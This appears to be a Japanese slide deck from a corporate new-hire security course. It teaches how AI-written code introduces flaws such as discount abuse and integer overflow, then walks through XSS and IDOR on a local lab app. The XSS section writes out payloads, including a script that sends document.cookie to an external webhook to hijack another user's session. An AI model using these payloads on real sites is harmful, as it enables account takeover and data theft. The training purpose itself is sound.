攻撃と防御で学ぶAI時代のプロダクトセキュリティ演習

2026年度リクルート エンジニアコース新人研修の講義資料です。

1. 攻撃と防御で学ぶAI時代のプロダクトセキュリティ演習 山田 快 仲西 朋也
2. この研修のゴール
3. プロダクトセキュリティはなぜ必要？ 3
4. 非公開 4
5. 非公開 5
6. 一度被害が発生すると サービスの終了 被害の補償のための損失 法的な処分 会社の信頼失墜 ・・・などなど 会社規模でも社会的にも大きな影響を及ぼすことも 6
7. では、AIが作ればセキュリティも考えてくれる？ AIが作りこんでしまったと思われる脆弱性(欠陥)も報告されている OSSのコミットを分析して、 コーディングエージェントによるコミットが 脆弱性の原因となった事例を分析したもの コーディングエージェントによるコミットメッセージの例： AIを使っても脆弱性は発⽣してしまう https://vibe-radar-ten.vercel.app/ 7
8. この研修のゴールは？ こういった被害を出さないために 何を、どう気をつければいいの？ を学んで 安全なプロダクトを 作れるようになろう！ 8
9. イントロダクション 9
10. 講師紹介 山田 快 / Kai Yamada (じぶりん @gpioblink) • 2024年春〜 RED TEAM所属 • リクルート新卒入社 10
11. 講師紹介 仲西 朋也 / Tomoya Nakanishi • 2022年春〜 RED TEAM所属 • リクルート新卒入社 11
12. 講義のスケジュール 10:15 1日目 インプット 導入編（前半） AIで生成される 脆弱性を体感しよう 12:30 13:30 昼休憩 導入編（後半） 脆弱性を知ろう 18:30 12 2日目 アウトプット チーム演習（説明） 昼休憩 12:15 13:15 チーム演習 解説・復習 6/11（木） 10:15 6/12（金） 16:30 18:30
13. チーム分け 非公開 13
14. 注意事項 この講義では実際に悪用が可能なコードを取り扱います。 取り扱いには十分に注意してください。 • 許可されたシステム以外に試さないこと （不正アクセス禁止法） • 正当な理由なくマルウェアを取得・保有しないこと （不正指令電磁的記録に関する罪） • インターネット上で配布されるソフトウェアの利用時には、それらの信頼性を 事前に確認すること （情報セキュリティ対策基準） 14
15. 本研修で扱う攻撃手法について 本資料で解説する攻撃手法や脆弱性に関する情報は、いずれも世の中で広く認知 されている既知の脅威であり、当社が独自に開発したものではありません。 この資料で紹介する攻撃手法は全て、OWASPにより、 注意喚起のために公開されている内容になります。 【本講座で扱う攻撃手法の出典】 OWASP Cheat Sheet Series （ https://cheatsheetseries.owasp.org/ ） OWASPとは？ Webアプリケーションのセキュリティ向上を目的とした世界的な非営利コミュニティです。 OWASPが公開する情報は、日本の公的機関においてもセキュリティ対策の指針として参照されており、 その信頼性は広く認められています。
16. AIで生成される脆弱性を体験しよう 15
17. なぜAIを使った演習をするの？ AIでの開発は現在、世の中でも基本のスタイルとなりつつあり AIを使った開発の中で脆弱性に気づいてほしいから 非公開 16
18. AIでコーディングするとどの程度脆弱性ができるか体験しよう 既存の電子書籍販売サイト「ポチッと童話本舗」に AIを使ってプロダクト品質を意識しながら機能の追加実装を行なってもらいます 電子書籍販売サイト 実装 実装 追加指示 追加指示 実装 追加指示 17
19. アプリのソースコードへのアクセス[導入演習,1問目] 以下のコマンドを入力し、サイトのソースコードをダウンロードしてください 非公開 18
20. ローカルでアプリの起動 ソースコードをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown flag」のエラーがでる場合は？ Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check2: 3つのコンテナがStartedやHealthyになればOK (起動まで少々時間がかかります) 19
21. ローカルで起動したアプリへのアクセス方法 下記のURLでローカル環境で起動したアプリケーションにアクセスできます http://localhost:9000 ✔ Check3: URLにアクセスし ログイン画面が表示されたらOK 20
22. 導入演習：「ポチッと童話本舗」を触ってみましょう(実施時間: 5分) 1-1. アプリを触って、機能を試してみましょう アカウント登録の際は普段のパスワードは入力しないでください 本の購⼊に必要な残⾼を追加するには？ 「バウチャーコード」を入力して残高を追加する仕様になっています。 100円 ... WELCOME100 500円 ... CHARGE500 1000円 ... BONUS1000 ※ 1回誰かが利用するとシステム全体で使用できなくなる仕様です。 リセットしたい場合は環境を再起動してください。 (方法は数ページ先のスライドに記載) 21
23. 「機能の追加実装」演習の進め方 ここからは以下をワンセットに２問やっていきます。 1. 追加指示の内容を実装する(各個人,相談OK) 2. 講師の説明に従ってプロダクトに攻撃し、脆弱性がないか確認する 22
24. (参考) AIでのコーディングの方法 ①ソースコードのディレクトリでCursorを開く ②チャット欄にAIへの指示(プロンプト)を入力する ※次スライドにプロンプト例あります 【発展】モデルやプロンプトを変更して試してみましょう 23
25. (参考) AIに命令するプロンプトの例 以下の指⽰に従い、追加の実装を⾏なってください。 ``` <ここに問題⽂の全⽂を貼る> ``` 完成したアプリは、`docker compose up` により起動し、定義している各画⾯が仕様通りに動作することを確認してください。 なお、以下の前提と制約を必ず守ってください。 - 既存のディレクトリ構成・設定ファイル（.gitignore, lint 設定, CI 設定など）は可能な限り変更せずに利⽤してください。 - 既存コードや設定の削除・⼤きな構造変更は⾏わず、必要な範囲での追加・最⼩限の修正にとどめてください。 - 外部ライブラリの追加が必要な場合は、その⽬的と候補を理由付きで提案したうえで、最⼩限のライブラリ構成にしてくださ い。 AI 実装時の禁⽌事項は以下の通りです。 - セキュリティ上のリスクが⾼い実装を⾏わないでください。 - 意図や理由を説明できない複雑なロジックの導⼊や、過度にマジックナンバーに依存する実装は避けてください。 - プロジェクトで既に採⽤しているスタイルやライブラリと明らかに異なる技術スタックを、理由なく混在させないでくださ い。 実装後は、以下の観点で⾃⼰チェックを⾏ってください。 24 - `docker compose down -v && docker compose up --build` で起動したアプリケーション上で、PROJECT_SPEC.md に記載さ れている画⾯遷移・⼊⼒パターンを⼀通り実⾏し、仕様通りに動作することを確認してください。(DBのデータも初期化して実 ⾏するためdown -vを⾏っています) - 主要なユースケースについては、可能な範囲で⾃動テスト（ユニットテストまたは E2E テスト）を追加し、テストが成功する ことを確認してください。 - ⽣成したコードの役割・意図・前提条件が分かるよう、必要に応じてコメントや README への追記を⾏ってください。
26. (参考) 環境を再起動したいとき ソースコードを修正し、修正後の挙動を試したい場合は 問題をダウンロードしたディレクトリで以下のコマンドを入力します。 入力後、再び http://localhost:9000 にアクセスすると変更が適用されています。 コンテナを再起動 $ docker compose down -v && docker compose up --build -d （down ‒v により毎回DBをリセットした状態で起動します） 25
27. 演習1: 複数冊購入での割引 1人の顧客あたりの購入金額（客単価）の向上のため 複数冊購入した人に割引を行うキャンペーンをすることになりました。 追加指示や仕様書を参考に 「本を大量に買ってお得キャンペーン」を実装していきましょう 26
28. 演習1: 複数冊購入での割引 ‒ 問題の説明 /cart や /cart/checkout の実装を変更して、購入冊数に応じて割引を入れます 追加指示書より（エンドポイント変更点） 追加指示書より（キャンペーン仕様） 27
29. 演習1: 複数冊購入での割引 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま しょう 3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 28
30. 演習1[ヒント]: 複数冊購入での割引 ‒ 不備を見つけるためのヒント (+10分) • 追加指示書だけでなく、既存の基本設計書やコードも参考にしましょう • 価格はどのような設定になっているでしょうか？ • 実装が仕様通りかだけでなく、その仕様でそもそも良いのかも 考えてみましょう • この割引キャンペーンは、何を目的に行われるのでしょうか？ 29
31. 演習1[解説]: プロダクトに脆弱性が生まれてないか確認しよう 演習解説 無料の本を含めて複数冊購入による割引を適用させられる？ 本来購入したい本と合わせて割引が適用さ れる冊数分購入してみる 商品一覧には0円や1円の低価格の本がある 30 購入金額を増やさなくても割引が 適用できてしまう 0円の本を19冊と、 1000円の本を1冊カートに →0円で購入できる？
32. 演習1[解説]: なぜこのような攻撃ができるの？ A. 元の仕様書に記載の無料や低価格の本の存在を 考慮せずに割引処理が実装されていた システム仕様書 0円の本が存在 0円の本19冊と、5000円までの本1冊を買うと 追加指示内容 全額割引されてしまう 複数冊購⼊で固定額割引 31 演習解説
33. 演習1[解説]: AIはなぜ脆弱なコードを作ってしまったの？ 演習解説 仕様通りの実装を行なっただけで、 その仕様でそもそも本当によいかの確認はしていなかったため。 AIへの指示 「冊数で割引する機能を 追加してください」 AIの動き 冊数で割引される機能ができた！ 32 実行終了 追加指示書より（エンドポイント変更点） ↑この処理の間、 AIは「その仕様が目的を達成できるのか」 という思考をしていなかった
34. 演習1[解説]: あなたはこの欠陥に気づけましたか？ 演習解説 自分自身で仕様書を読むときに、「何を作るだけでなく何のために作るか」を 考えていれば気づけた問題でした。 AIは見落としてしまいましたが、 あなたが思考する習慣を持って仕様書を読んで、 「このキャンペーン、客単価を上げるのが目的だよな。ということは購入金額が増え ない買い方でも割引できてしまう仕様はまずくないか？」 のような「一歩外側までみる」考え方ができていれば、気づけたはずです。 33
35. AI、どれくらい問題を作り込む可能性が高いの？ 演習解説 「一歩外側」まで「変更により既存の処理にどんな影響が生じるか」 考えていても、脆弱性の知識がなければ気づけない問題でした。 「一歩外側」まで考えて仕様書を読んでいれば、 「在庫削除という変更をした、その変更によって既存の処理にどんな影響が出るか？」と考える → 在庫削除前は「在庫数が上限として機能していた」ことに気づく → 削除後は「quantityに任意の自然数が入るようになった」と気づく と、ここまでは気づけたでしょう。しかし、 「quantityが巨大だとオーバーフロー(桁溢れ)してtotalPriceが負の数になるかも」 と気づくには、オーバーフローという脆弱性の知識が必要でした 34
36. では、次の問題からは 「一歩外側までみる」 を大切にして解いてみましょう 35
37. アプリのソースコードへのアクセス[2,3問目] 残りの問題はベースとなるソースコードが少し違います。 以下のコマンドを入力し、使用するソースコードを切り替えてしてください 1. 1問目で使っていたコンテナを停止 $ cd dowa-honpo $ docker compose down -v 2. 2,3問目用のソースコードをダウンロード 非公開 3. 2,3問目用のコンテナを起動 $ docker compose up --build -d 36
38. ローカルで起動したアプリへのアクセス方法 下記のURLでローカル環境で起動したアプリケーションにアクセスできます http://localhost:9000 ✔ Check: URLにアクセスし アカウント作成しログインすると 画面のような表示(本が3冊のみ)になればOK 37
39. 演習2:「在庫数」による購入制限の撤廃 これまで、在庫数を管理していましたが 電子書籍の専門サイトとなり、在庫数の管理が不要になりました。 追加指示や仕様書を参考に 「在庫数による購入制限の撤廃」を実施していきましょう。 38
40. 演習2:「在庫数」による購入制限の撤廃 ‒ 問題の説明 /store や /store/purchase の実装を変更して、在庫に関する機能を削除します 追加指示書より（エンドポイント変更点） 追加指示書より（キャンペーン仕様） 39
41. 演習2:「在庫数」による購入制限の撤廃 ‒ 問題の進め方 (20分) 1. Cursorに仕様書をコピペしてプロンプトを作り、そのまま動くコードを書 いてもらいましょう 2. 生成されたアプリを起動して、追加指示通りの動作をすることを確認しま しょう 3. 【発展】実装内容に不備がないか考えてみましょう。また、問題があれ ば、修正方法を考えてみましょう ※ 既存の仕様が適切でない場合は、エンドポイントの入出力の仕様は壊さな い範囲で、実装内容を変更しても構いません 40
42. 演習2[解説]: プロダクトに脆弱性が生まれてないか確認しよう 残高が足りなくても購入ができる？ ① 1冊の値段が残高を超えている 本（1000円）を20億冊購入 41 ② 本が購入でき、 さらに残高が増えた！ 演習解説
43. 演習2[解説]: なぜこのような攻撃ができるの？ A. 購入金額を保持する変数のオーバーフローが発生したため Javaのint型の変数は-2,147,483,648 から 2,147,483,647 までしか表現できない 購入金額の計算結果が上限を超えて、負の値になってしまった （桁溢れ、整数オーバーフロー） 42 演習解説
44. 演習2[解説]: AIはなぜ脆弱なコードを作ってしまったの？ 演習解説 その変更により既存の処理にどんな影響が生じるかの考慮が不足していたため。 PurchaseService.java の purchase関数部分 (修正前) 指示 「在庫の機能を削除してください」 43
45. 演習2[解説]: AIはなぜ脆弱なコードを作ってしまったの？ 演習解説 その変更により既存の処理にどんな影響が生じるかの考慮が不足していたため。 PurchaseService.java の purchase関数部分 (修正前) 指示 「在庫の機能を削除してください」 削除済み AIの動き 在庫の機能を削除できた！ 44 実行終了
46. 演習2[解説]: AIはなぜ脆弱なコードを作ってしまったの？ 演習解説 その変更により既存の処理にどんな影響が生じるかの考慮が不足していたため。 PurchaseService.java の purchase関数部分 (修正前) 指示 「在庫の機能を削除してください」 削除済み 直前のコードが変更の影響を考慮せず削除されたため、 quantityの値が大きい際に脆弱性が発生するようになった AIの動き 在庫の機能を削除できた！ 45 実行終了
47. 演習2[解説]: あなたはこの欠陥に気づけましたか？ 演習解説 「一歩外側」まで「変更により既存の処理にどんな影響が生じるか」 考えていても、脆弱性の知識がなければ気づけない問題でした。 「一歩外側」まで考えて仕様書を読んでいれば、 「在庫削除という変更をした、その変更によって既存の処理にどんな影響が出るか？」と考える → 在庫削除前は「在庫数が上限として機能していた」ことに気づく → 削除後は「quantityに任意の自然数が入るようになった」と気づく と、ここまでは気づけたでしょう。しかし、 「quantityが巨大だとオーバーフロー(桁溢れ)してtotalPriceが負の数になるかも」 と気づくには、オーバーフローという脆弱性の知識が必要でした 46
48. 「一歩外側」ってどういうことだった？ ここまでの内容をまとめると、例えばこのようなことでした その変更により既存の処理にどんな影響が生じるか考えながら書く 何を作るかだけでなく何のために作るかを確認してから書く → つまり、ただ指示の通りにやろうではなく、 当事者意識をもって開発することが「脆弱性」への気づきにつながる 47
49. 脆弱性に気づければ修正できるの？ 実際に先ほどの問題をベースに修正してみましょう 最初のロジック不備の問題ではAIが自力では修正できませんでしたが 再掲 48
50. 脆弱性に気づければ修正できるの？ 実際に先ほどの問題をベースに修正してみましょう 最初のロジック不備の問題ではAIが自力では修正できませんでしたが 再掲 脆弱性に⼈間が気づいた上でAIに補⾜させると？ 49
51. まとめ: AIで生成される脆弱性を体験しよう • AIに任せて自分で理解せずにコードを生成すると、場合によっては、 脆弱性を埋め込む可能性がある • 脆弱性に気づくには、仕様や実装に対して「一歩先側まで考える思考」と、 危ない実装に気づくための「脆弱性の知識」が必要である • 脆弱性に気づくことができれば、AIに指示するなどして修正が可能 50
52. 今回の研修で学ぶこと 〜安全なプロダクトを作るには〜 51
53. この研修では何を学ぶの？ 今見ていただいた通り AIに任せっきりでは知らずのうちに脆弱性を埋め込んでしまうかもしれません では、脆弱性を埋め込まないためにはどうやって気づけばいいでしょうか？ 52
54. 脆弱性に気づくには、どうすればいいでしょうか？ 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 53 脆弱性の知識 例 • 数値の桁溢れによる計算エラー
55. 脆弱性に気づくには、どうすればいいでしょうか？ 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 普段の意識でできる 54 脆弱性の知識 例 • 数値の桁溢れによる計算エラー 知らないと対策できない！
56. 脆弱性に気づくには、どうすればいいでしょうか？ 先ほど、脆弱性を見つけるための2つの要素を学びました 一歩外側までの思考 例 • 既存の処理への影響を考える • 何のために作るか考える 普段の意識でできる 55 脆弱性の知識 例 • 数値の桁溢れによる計算エラー 知らないと対策できない！ この研修では、 このあと「脆弱性の知識」を中心に学んでいきます
57. 「脆弱性の知識」では、何を学ぶといいの？ 設計、実装、運用、Webでの一般的な注意事項、モバイル特有の注意事項 ライブラリ特有の注意事項、社内ルールなど、脆弱性対策のための情報は多岐にわたります。 https://www.jssec.org/report/android_securecoding_20250129.html https://www.amazon.co.jp/dp/4797393165 https://coky-t.gitbook.io/owasp-mastg-ja/ios-tesutogaido/0x06a-platform-overview https://nodejs.org/en/learn/getting-started/security-best-practices 56
58. 「脆弱性の知識」では、何を学ぶといいの？ 全部丸暗記するにはあまりにも大変！ https://www.jssec.org/report/android_securecoding_20250129.html https://www.amazon.co.jp/dp/4797393165 https://coky-t.gitbook.io/owasp-mastg-ja/ios-tesutogaido/0x06a-platform-overview https://nodejs.org/en/learn/getting-started/security-best-practices 57
59. 非公開 58
60. 「脆弱性の知識」では、何を学ぶといいの？ 全部網羅するのは難しいですが、、 まずは世の中で頻出している脆弱性を例に 学んでいきましょう！ 59
61. 改めてこの研修のゴールは？ 「一歩外側まで思考する習慣」をつけ、 「脆弱性の知識」で学んだ危険な状態に陥っていないか考えることで、 普段の開発の中で「安全ではないかも？と違和感を覚えられる」ようになりましょう！ 60
62. Webアプリケーションにおける脆弱性 61
63. 演習環境を触ってみよう 62
64. 何の脆弱性を学ぶの？ 脆弱性は大変種類が多く、全てを知るのは難しいです。 そこで、実際の開発で特に遭遇しやすいと考えられるものを学んでいきます。
65. どうやって脆弱性を学ぶの？ 他の人と気になるWebサイトを共有できるサービス「Vulnmarker」を使用 ここに実際に攻撃を行うなどして学んでいきます 64
66. アプリへのアクセス方法 下記のURLでアプリケーションを起動しています（要 エニコネ/インコネ） https:/ ✔ Check1: URLにアクセスし ログイン画面が表示されたらOK 65
67. アプリのソースコードへのアクセス 以下のコマンドを入力し、vulnmarkerのソースコードをダウンロードしてください 非公開 66
68. 演習1：Vulnmarkerを触ってみましょう(実施時間: 15分) 1-1. 機能を試しながらソースコードを見てみましょう アカウント登録の際は普段のパスワードは入力しないでください 1-2. 【発展】脆弱性を探してみましょう 67
69. (参考) ローカルでの起動手順 vulnmarkerをダウンロードしたディレクトリで以下を入力してください $ docker compose up --build -d 「unknown flag」のエラーがでる場合は？ Dockerが起動していない可能性があります。 Launchpad(アプリ一覧画面)から Docker Desktopアプリを 起動して再試行してください。 ✔ Check3: 3つのコンテナがStartedになればOK (起動まで少々時間がかかります) 68
70. (参考) ローカルで起動したアプリへのアクセス方法 下記のURLでローカル環境で起動したアプリケーションにアクセスできます http://localhost:5000 69
71. (参考) 環境を再起動したいとき ソースコードを修正し、修正後の挙動を試したい場合は vulnmarkerをダウンロードしたディレクトリで以下2つのコマンドを入力します。 1. コンテナを終了 $ docker compose down 2. コンテナを起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 70
72. 導入編では以下7つの脆弱性を紹介します 1. XSS（Cross-Site Scripting） 2. アクセス制御不備（IDORなど） 3. 認証認可の不備（CSRFなど） 4. SQL Injection 5. Path Traversal 6. DoS（Denial-of-Service） 7. OS Command Injection 71
73. XSS（Cross-Site Scripting） 72
74. 演習2：XSSを悪用した攻撃 (実施時間: 20分) 2-1. 検索の入力欄に<script>alert("1")</script>を入力して何が起こるかを確認 してみましょう 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう ヒント1: Cookie受取には、Appendix. 1のwebhook.siteを利用 ヒント2: JS上ではdocument.cookieでCookieの値を取得可能 73
75. 演習解説 演習解説：XSSを悪用した攻撃 2-1. 検索の入力欄に<script>alert()</script>を入力して何が起こるかを確認し てみましょう ① http://localhost:5000/posts/search にアクセス ② <script>alert("1")</script>を入力 ③ 検索ボタンを押すと ポップアップが出現 この脆弱性を応用すると…? <script></script>の中身を書き換えると、 ブラウザ上で任意のJavaScriptが実行できる！ 74
76. 演習解説 演習解説：XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【なぜポップアップが出てしまったのか】 ① 2-1. の画面で command + option + i を押し、開発者ツールを開く ② Networkタブを選択する ④ Typeがdocumentの通信を選択する ③ 2-1.の画面上の更新ボタンを押す ※ 他のファイルは、jsやcssであり、固定の内容のファイル (静的なファイル)と思われるためdocumentを見る 75
77. 演習解説 演習解説：XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう ⑤ Responseタブを選択する → ②で入力したscriptタグがHTML内に反映されている！ ⑥ ソースコード中からタグが埋め込まれている箇所を探す 76
78. 演習解説 演習解説：XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【なぜレスポンスのHTMLソース内にスクリプトが埋め込まれたのか】 ⑦ Payloadタブを選択する ⑧ Headerタブを選択する urlの値としてスクリプトを渡している /posts/search への GET リクエストと分かる 77
79. 演習解説 演習解説：XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 ⑧ ⑦で判明した情報をもとに /posts/search への GETリクエストを検索 ⑧ 発見したソースコードを読み、ユーザーの入力からレスポンスまでの処理の流れを調査 a. ⑥で確認したリクエストパラメータ からurlの値を取得 b. ユーザーから受け取ったurlを messageに格納 c. reply.view() にてmessageを受け取り search.ejsを用いて ブラウザに返すレスポンスを作成する 78
80. 演習解説 演習解説：XSSを悪用した攻撃 2-2. 2-1.の原因箇所をソースコード中から探してみましょう 【ソースコード中から原因を特定】 messageを「<%- %>」で囲っている ⑨ ⑧でレスポンス作成に用いられていた search.ejsを開き、処理を調査 ⑩ このタグの意味をejsの公式ドキュメントより調査 <%- は、エスケープ処理をせずに出力するもの この脆弱性の発生原因は…? 79 ユーザーから受け取った入力値を エスケープ処理せずレスポンスに出力していること！
81. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【まずは 2-1. と同様の方法を試す】 ① http://localhost:5000/profile にアクセス ④ 自分の自己紹介ページにアクセス ⑤ スクリプトが実行されないことを確認 ② <script>alert("1")</script>を入力 80 ③ プロフィールを更新
82. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【スクリプトが実行されない原因を調査】 ⑥ ⑤の画面で command + option + i を押し、開発者ツールを開く ⑦ Networkタブを選択し、⑤の画面から更新 ⑧ typeがdocumentの通信を選択する ⑨ Responseタブを選択する タグがエスケープ(無害化)されている 81
83. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう でもタグが無害化されているなら、 ⑤の画面でタグがそのまま表示されるはずでは？ 表示の際にどう解釈されているか確認しましょう ⑩ Elementsタブを選択する ⑪ ▶を押し、「こんにちは」の箇所まで展開 本来表示されるはず <script>alert()</script> 無害化されない通常のHTMLタグとして認識 82
84. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう HTMLソースだと無害化されているのに、通常のタグとして認識されている原因は、スクリプトにあるはず ⑫ ⑨の画面からHTMLソースのスクリプト部分を調査 b. 文中にURLがあれば<a>タグにする処理 URLや改行文字の変換処理であり <script>タグの変換には関係なさそう c. 空白の削除や改行を<br>タグにする処理 a.自己紹介のHTML要素からテキストを textContent で取得し、 processUserSelfIntroduction()を実行 83 d. innerHTMLを用いて処理結果を自己紹介のHTML要素に設定 値の取得や設定の処理で 暗示的にタグの変換がされる可能性
85. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【textContentとinnerHTMLの挙動を調査】 ⑬ 以下のHTMLを適当な場所に保存 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <div id="test">&lt;a href=&quot;https://example.com&quot;&gt;テス ト&lt;/a&gt;</div> </body></html> ⑭ 開発者ツールでConsoleタブを開く ⑮ let element = document.getElementById('test'); を入力 ⑯ element.textContent;を入力 ⑬ 保存場所のパスを開く &lt;や&quot;ではなく、アンエスケープされた文字列が取得されている → textContent ではエスケープ文字は アンエスケープされて取得される 84
86. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう ⑱ ブラウザの表示がリンクに置き換わったことを確認 ⑰ element.innerHTML = element.textContent; を⼊⼒ → innerHTMLでは入力値が HTML要素として設定される つまり要素の内容をtextContentで取得し、その値をinnerHTMLで設定すると…? 85 エスケープが解除されHTMLタグが読み込まれる！
87. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう でも、結局HTMLタグが読み込まれるのであれば、scriptタグが動作しなかったのはなぜ？ ⑲ ウェブでinnerHTMLの仕様を調査 element.innerHTMLでは、要素にHTMLを挿入できるが <script>タグは実行されないことになっている 一方で、<script>タグを使わずに JavaScriptを実行することは可能だとわかる 86 つまり、innerHTMLを使って alert() を実行するには…? <script>タグを使わずにJavaScriptを実行する
88. 演習解説 演習解説：XSSを悪用した攻撃 2-3. 【発展】2-1.と同様に自己紹介の表示部分でalert()が実行されるように 細工してみましょう 【最終的な解法】 ⑳ http://localhost:5000/profile にアクセス ㉒自分の自己紹介ページにアクセス ㉓ スクリプトが実行されることを確認 ㉑ <img src='x' onerror='alert(1)'> を入力 87 ③ プロフィールを更新
89. 演習解説 演習解説：XSSを悪用した攻撃 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 方針: Cookie は スクリプトから取得できるので、取得した内容を外部に送信するコードを書く。 【外部サーバーの準備】 ① https://webhook.site/ にアクセス ② Editを選択 ⑤ URL(外部サーバーのURL)をコピーする ③ Add CORS headers にチェックを入れる ④ Save を押す 88
90. 演習解説 演習解説：XSSを悪用した攻撃 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 【XSSコードの実行を実験】 ⑥ http://localhost:5000/posts/search にアクセス ⑨ ①の画面にリクエストが表示されることを確認 ⑧ 検索ボタンを押す ⑦ 以下のコードを入力 <script>fetch( "<⑤でコピーしたURL>?data=" + document.cookie )</script> Cookieの内容が取得できている 89
91. 演習解説：XSSを悪用した攻撃 演習解説 2-4. 【発展】作成した他のアカウントのCookieを窃取するXSSのコードを作成 してみましょう 【他人のアカウントのCookieを窃取】 ⑫ 誰かが⑪のリンクを踏むとリクエストが表示される ⑩ XSSコード実行後のブラウザからURLをコピー ⑪ 他人にリンクを共有 先ほどと違う値(他人)の Cookieが取得できている 90
92. 非公開 91
93. XSSを悪用すると、他にどのような被害が発生するの？ 情報窃取 • Cookieの窃取によるセッションののっとり • Cookieを付与したリクエスト実行と内容の読み取り • 画面に表示された情報の窃取 悪意のあるコンテンツへの改変 • 詐欺ページの表示など 92
94. XSSを悪用すると、他にどのような被害が発生するの？ 情報窃取 • Cookieの窃取によるセッションののっとり • Cookieを付与したリクエスト実行と内容の読み取り • 画面に表示された情報の搾取 悪意のあるコンテンツへの改変 • 詐欺ページの表示など 93 演習2-3で扱った、こちらを詳しく説明します
95. 「Cookieの窃取によるセッションののっとり」 とは、どのような被害？ ブラウザのCookieに存在する「セッションID」が第三者に漏れ、 第三者からアカウントにアクセスされてしまう被害。 セッションID入手方法の１つとして、XSSの脆弱性が使われる。 ユーザーの識別はセッションIDで行っている つまり、セッションIDが漏れると、第三者がなりすましできる 94
96. なぜXSSでCookieに存在する「セッションID」が第三者に漏れてしまうの？ XSSにより、Cookieを攻撃者に送信するスクリプトが設置できるため。 被害者がXSSのあるページにアクセスし、そのスクリプトが実行されることで窃取される。 この人のプロフィール気 になる！ 被害者 アクセスするとCookieを 攻撃者のサーバーに送信する JavaScript ペンギンくんの セッションゲット！ 95 攻撃者 アクセス時に実行 被害者はページを 閲覧しただけで Cookieが抜かれてしまう
97. わざわざXSSを利用しなくても、攻撃者が用意したサイトから窃取できないの？ Cookieはドメイン単位で管理されるため、基本的にスクリプトを用いて、 あるドメインから別のサイトのリソースへアクセスすることはできない。 XSSを使えば同じドメイン上でスクリプトを動かせるためこの制限を回避でき る。 ドメインが異なるサイトの場合 ここの部分を ドメインという ブラウザ https:/ Cookie ...のページ https://evil.example.com/...のページ fetch()によるレスポンス読み取り 悪意のあるJavaScript ドメインを超える接続は制限される 96
98. このようなXSSの脆弱性は、なにが原因で発生するの？ 外部からの入力に対して、適切な無害化処理が行われておらず、スクリプト などを含む入力がそのままブラウザで解釈されてしまうため ユーザーの入力がそのまま代入される → 危険なコードを差し込まれうる note 実装例1: <img onload="ユーザーの入力"> 実装例2: document.body.innerHTML = "ユーザーの入力" 実装例3: document.write("ユーザーの入力") jQueryのjQuery.append() や React.jsのdangerouslySetInnerHTML など Web UIを操作するためのライブラリでも、一部無害化処理が行われない場合があるため注意。 97
99. IDOR（Insecure Direct Object Reference） 98
100. 演習3：IDORを悪用した攻撃 (実施時間: 15分) 3-1. 他人の投稿を編集してみましょう ヒント：Chromeのデベロッパーツールを利用してform要素を細工 3-2. 【発展】curlを使って3-1.と同様のことをやってみましょう 3-2. 【発展】BurpSuiteを使って3-1.と同様のことをやってみましょう ヒント：使い方はAppendix参照 99
101. 演習解説 演習解説：IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 【投稿の流れの確認】 ① http://localhost:5000/posts にアクセス ② 適当な投稿を作成し投稿 ④ 編集内容を入力し✔マークを押す ③ 自分の投稿の編集ボタンを押す ⑤ 編集内容が反映される 他人の投稿を編集するためには? 100 ④→⑤ の間に行われる操作を、他人に対して行いたい
102. 演習解説 演習解説：IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 具体的に④で行われる操作を確認する ⑥ 開発者ツールよりElementsタブを開く ⑥ ブラウザを④の画面にした状態で「要素を選択」ボタンを押す ⑧ テキストエリア前後の要素で投稿の指定箇所を探す ⑦ 編集画面のテキストエリア要素を選択 投稿IDの指定箇所を発見 101
103. 演習解説 演習解説：IDORを悪用した攻撃 3-1. 他人の投稿を編集してみましょう 他人の投稿IDでIDを変更して編集を送信する ⑨ 他人の投稿に対して⑥〜⑧の手順を行い、他人の「data-post-idを取得」 ⑩ ⑧で選択していた要素に戻り、「data-post-id」を編集 他人の投稿 他人の投稿ID ⑬ ページを更新 すると 他人のコメントが差し変わったことがわかる 102 ダブルクリックで編集可能 ⑫ コメントを編集し送信
